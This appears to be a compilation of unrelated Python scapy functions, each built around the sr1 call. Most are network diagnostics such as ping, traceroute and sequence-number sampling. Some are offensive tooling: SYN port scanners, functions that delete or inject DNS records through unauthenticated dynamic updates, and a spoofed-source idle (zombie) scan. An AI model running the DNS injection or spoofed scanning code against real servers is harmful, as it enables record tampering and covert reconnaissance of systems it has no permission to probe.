def cmd_tcp_isn(ip, port, count, iface, graph, verbose): """Create TCP connections and print the TCP initial sequence numbers for each one. \b $ sudo habu.tcp.isn -c 5 www.portantier.com 1962287220 1800895007 589617930 3393793979 469428558 Note: You can get a graphical representation (needs the matplotlib package) using the '-g' option to better understand the randomness. """ conf.verb = False if iface: iface = search_iface(iface) if iface: conf.iface = iface['name'] else: logging.error( 'Interface {} not found. Use habu.interfaces to show valid network interfaces' .format(iface)) return False isn_values = [] for _ in range(count): pkt = IP(dst=ip) / TCP(sport=RandShort(), dport=port, flags="S") ans = sr1(pkt, timeout=0.5) if ans: send( IP(dst=ip) / TCP(sport=pkt[TCP].sport, dport=port, ack=ans[TCP].seq + 1, flags='A')) isn_values.append(ans[TCP].seq) if verbose: ans.show2() if graph: try: import matplotlib.pyplot as plt except ImportError: print("To graph support, install matplotlib") return 1 plt.plot(range(len(isn_values)), isn_values, 'ro') plt.show() else: for v in isn_values: print(v) return True
def test_tfo(dst, dport): res = sr1(IP(dst=dst) / TCP(dport=dport, flags="S", options=[('TFO', '')]), verbose=False) if res is not None: return 'TFO' in dict(res[1].options) else: False
def run(self, state, pkt, wait,timeout=None): """Send pkt, receive the answer if wait is True, and return a tuple (validity of reply packet, reply packet). If no test function is given, assume it's valid.""" self.dbgshow(pkt) if wait: # do we wait for a reply ? self.debug("Waiting for packet...", level=2) if pkt is None: timeout, buffermode = None, False if type(wait) is tuple: wait, timeout, buffermode = wait #print wait #wait, buffermode = wait if hasattr(wait, '__call__'): ans = self.waitForPacket(filterfct=wait, timeout=timeout) # if buffermode: # ans is a buffer (list) # self.debug("Entering buffer mode.", level=1) # return [self.packetReceived(pkt,buffermode=True) for pkt in ans] else: raise Exception("error, no packet generated.") else: #TODO: Make sure this waits continuously in a non blocking mode, convert this to dumping from a queue ans=sr1(pkt) else: send(pkt) #print pkt self.first = True # prev_pkt shouldnt be taken into account self.debug("Packet sent, no waiting, going on with next.",2) return (True, None) # no reply, no check return self.packetReceived(ans) # post-reply actions
def delete_dns_record(del_ns, del_record): os.system('clear') title() # Verifying all required options have a populated value if del_ns is None or del_record is None: print "[*] ERROR: You did not provide all the required command line options!" print "[*] ERROR: Please re-run with required options." sys.exit() print "[*] Crafting packet for record deletion..." print "[*] Sending packet which deletes the following record: " print "[*] " + del_record + "\n" dns_zone = del_record[del_record.find(".")+1:] del_packet = sr1(IP(dst=del_ns)/UDP()/DNS( opcode=5, qd=[DNSQR(qname=dns_zone, qtype="SOA")], ns=[DNSRR(rrname=del_record, type="ALL", rclass="ANY", ttl=0, rdata="")])) print del_packet[DNS].summary() print "\n[*] Packet created and sent!"
def add_a_record(name_server, new_dns_record, ip_value): os.system('clear') title() # Verifying all required options have a populated value if name_server is None or new_dns_record is None or ip_value is None: print "[*] ERROR: You did not provide all the required command line options!" print "[*] ERROR: Please re-run with required options." sys.exit() print "[*] Crafting packet for record injection..." print "[*] Sending DNS packet adding " + new_dns_record print "[*] and pointing it to " + ip_value + "\n" dns_zone = new_dns_record[new_dns_record.find(".")+1:] # Craft the packet with scapy add_packet = sr1(IP(dst=name_server)/UDP()/DNS( opcode=5, qd=[DNSQR(qname=dns_zone, qtype="SOA")], ns=[DNSRR(rrname=new_dns_record, type="A", ttl=120, rdata=ip_value)])) print add_packet[DNS].summary() print "\n[*] Packet created and sent!"
def main(argv): print argv for i in xrange(1, 10): print "TTL:", i pkt = IP(dst=sys.argv[1], ttl=i) / ICMP() for j in xrange(1): res = sr1(pkt, timeout=5) print res
def run(self): for ip in self.ips: if(self.STOP==False): p = IP(dst=ip)/ICMP() res = sr1(p, timeout=2) GObject.idle_add(self.update, (p, res)) else: break
def pingIP(ip, active_ips): packet = scapy.IP(dst=ip, ttl=20)/scapy.ICMP() reply = scapy.sr1(packet, timeout=1, verbose=False) if not (reply is None): print ip, " is up." active_ips.append(ip) return
def handle_one(p, iface, timeout): print p.show() reply = sr1(p, iface=iface, retry=0, timeout=timeout) if reply: print reply.show() if reply.opcode != 128 and reply.ext_port > 0: print 'got', reply.ext_ip, reply.ext_port
def rr_tcp(self, dst, dport): pkt = scapy.IP(dst=dst, proto=6, options=scapy.IPOption('\x01\x07\x27\x04' + '\x00'*36)) pkt/= scapy.TCP(sport=scapy.RandNum(1024,65535), dport=int(dport), flags="S",window=8192, options=[('MSS', 1460), ('NOP', None), ('WScale', 2), ('NOP', None), ('NOP', None), ('SAckOK', '')]) intr_tcp = scapy.sr1(pkt, timeout=2) if intr_tcp is not None: return intr_tcp.options[0].routers
def scan_port(host, port): # Send SYN with random Src Port for each Dst port srcPort = random.randint(1025, 65534) resp = sr1(IP(dst=host) / TCP(sport=srcPort, dport=port, flags="S"), timeout=1, verbose=0) if resp.haslayer(TCP) and resp[TCP].flags == (TCPFlag.SYN | TCPFlag.ACK): send(IP(dst=host) / TCP(sport=srcPort, dport=port, flags="R"), timeout=1, verbose=0) return True return False
def _syn_scan(host, port, timeout): pkt = IP(dst=host) / TCP(dport=port,flags="S") pkt = sr1(pkt, timeout=timeout) if pkt is None: return None return pkt.getlayer(TCP).flags
def probeTcpPort(self, port): p = scapy.IP(dst=self.target)/scapy.TCP(dport=int(port), flags="S") res = scapy.sr1(p, timeout = self.timeout) hops = None if res: hops = res.ttl self.probeResults[port] = hops return hops
def probeICMP(self): p = scapy.IP(dst=self.target)/scapy.ICMP() res = scapy.sr1(p, timeout = self.timeout) hops = None if res: hops = res.ttl self.probeResults["ICMP"] = hops return hops
def analyze_port(host, port): print "[ii] Analizando el puerto %s" % port res = sr1(IP(dst=host)/TCP(dport=port), verbose=False, timeout=0.2) if res is not None and TCP in res: if res[TCP].flags == 18: OPEN_PORTS.append(port) print "Puerto %s abierto " % port
def nrquery(SERVER, DOMAIN): pkt = sr1(IP(dst=SERVER)/UDP()/DNS(rd=0,qd=DNSQR(qname=DOMAIN))) if pkt.haslayer(DNSRR): rrname = pkt.getlayer(DNSRR).rrname ttl = pkt.getlayer(DNSRR).ttl if rrname == DOMAIN + '.': indicators = [] indicators.append(rrname) indicators.append(ttl) dnsIOC.append(indicators)
def ping(dst, payload, seq=1, ttl=64, timeout=5): """Makes 1 ICMP echo request to dst. @returns: the response in an object that accepts method show(), None on timeout """ pkt = IP(dst=dst, ttl=ttl) / ICMP(seq=seq, id=RandShort()) / payload pkt = sr1(pkt, timeout=timeout) return pkt
def cmd_ping(ip, interface, count, timeout, wait, verbose): """The classic ping tool that send ICMP echo requests. \b # habu.ping 8.8.8.8 IP / ICMP 8.8.8.8 > 192.168.0.5 echo-reply 0 / Padding IP / ICMP 8.8.8.8 > 192.168.0.5 echo-reply 0 / Padding IP / ICMP 8.8.8.8 > 192.168.0.5 echo-reply 0 / Padding IP / ICMP 8.8.8.8 > 192.168.0.5 echo-reply 0 / Padding """ if interface: conf.iface = interface conf.verb = False conf.L3socket=L3RawSocket layer3 = IP() layer3.dst = ip layer3.tos = 0 layer3.id = 1 layer3.flags = 0 layer3.frag = 0 layer3.ttl = 64 layer3.proto = 1 # icmp layer4 = ICMP() layer4.type = 8 # echo-request layer4.code = 0 layer4.id = 0 layer4.seq = 0 pkt = layer3 / layer4 counter = 0 while True: ans = sr1(pkt, timeout=timeout) if ans: if verbose: ans.show() else: print(ans.summary()) del(ans) else: print('Timeout') counter += 1 if count != 0 and counter == count: break sleep(wait) return True
def traceroute2(dst, probe, timeout=2, retry=2, verbose=0): hops = [] for i in range(1, 256): r = sr1(IP(dst=dst, ttl=i)/probe, timeout=timeout, retry=retry, verbose=verbose) if r is not None: hops.append({ 'ttl' : i, 'ip' : r.src }) else: continue if r.src == dst: break return hops
def multiping(ips, cadaCuanto, cuantasVeces, cantPingueos=8, timeToLive=64, tOut=1): nombreLog = "multiping-" + str(datetime.now()).replace(":", "-").split(".")[0] + ".txt" cadaCuanto *= 60 # Hacemos los pingueos print("Haciendo multiping") promedios = [] for i in range(cuantasVeces): # Hago la cantidad de veces solicitada print("Tanda " + str(i)) for ip in ips: # A cada ip tiempo = datetime.now() rtts = [] for j in range(cantPingueos): # La pingueo la cantidad de veces pedida para sacar un promedio del rtt # Pinguear echorequest = IP(dst=str(ip), ttl=timeToLive) / ICMP() # Armo el paquete del ping tiempoInicio = datetime.now() # Tomo tiempo inicial echoreply = sr1( echorequest, timeout=tOut, verbose=0 ) # Envio y espero a recibir el paquete, verbose hace que no imprima todo por consola tiempoFinal = datetime.now() # Tomo tiempo final if type(echoreply) is scapy.layers.inet.IP: # Si hubo respuesta guardamos el rtt rtt = tiempoFinal - tiempoInicio # Rtt en timedelta rtt = rtt.days * 86400000 + rtt.seconds * 1000 + rtt.microseconds / 1000 # rtt en milisegundos rtts.append(rtt) # Agregamos el rtt a la lista de rtts de esta secuencia de pingueos if len(rtts) > 0: # Si al menos respondieron un ping rtt = sum(rtts) / float(len(rtts)) # Sacamos el promedio del rtt promedios.append((ip, tiempo, rtt)) # Guardamos los datos de este pingueo print("Tanda " + str(i) + " terminada") if i < (cuantasVeces - 1): sleep(cadaCuanto) # Esperamos a la siguiente tanda de pingueos # Guardamos el log log = open(nombreLog, "w") # Abrimos los logs log.write(nombreLog + "\n") log.write( "Caso: multiping(" + str(ips) + "," + str(cadaCuanto) + "," + str(cuantasVeces) + "," + str(cantPingueos) + str(timeToLive) + "," + str(tOut) + ")\n\n" ) log.write("ip,timestamp pings,rtt\n") for ip in ips: # Para cada ip for dato in promedios: # Guardo los datos de sus pingueos if dato[0] == ip: log.write(str(dato[0]) + "," + str(dato[1]).split(".")[0] + "," + str(dato[2]) + "\n") log.close() # Cerramos la imagen print("Datos guardados en " + nombreLog) return 1
def ipid_scanner(zombie_ip, victim_ip, victim_port): synack_to_zombie = IP(dst=zombie_ip)/TCP(dport=3322, flags='SA') # Creating SYNACK packet. attacker --> zombie zombie_response = sr1(synack_to_zombie, verbose=0) # Sending SYNACK. attacker --> zombie print("\n[+] Sending syn-ack to zombie") initial_ipid = zombie_response.id # Recording the initial IPID value of zombie print("\n[+] Recording initial IPID") #Creating spoofed SYN packet. Zombie(spoofed) --> victim syn_to_victim = IP(src = zombie_ip, dst=victim_ip)/TCP(dport=int(victim_port), flags='S') send(syn_to_victim, verbose=0) # Sending SYN. Zombie(spoofed) --> victim print("\n[+] Sending spoofed syn to victim") zombie_response = sr1(synack_to_zombie, verbose=0) # Sending SYNACK. Attacker --> Zombie print("\n[+] Sending syn-ack to zombie") final_ipid = zombie_response.id # Recording the final IPID value of zombie print("\n[+] Recording final IPID\n") print("[*] Initial IPID of zombie: {}\n[*] Final IPID of zombie: {}".format(initial_ipid,final_ipid)) return initial_ipid, final_ipid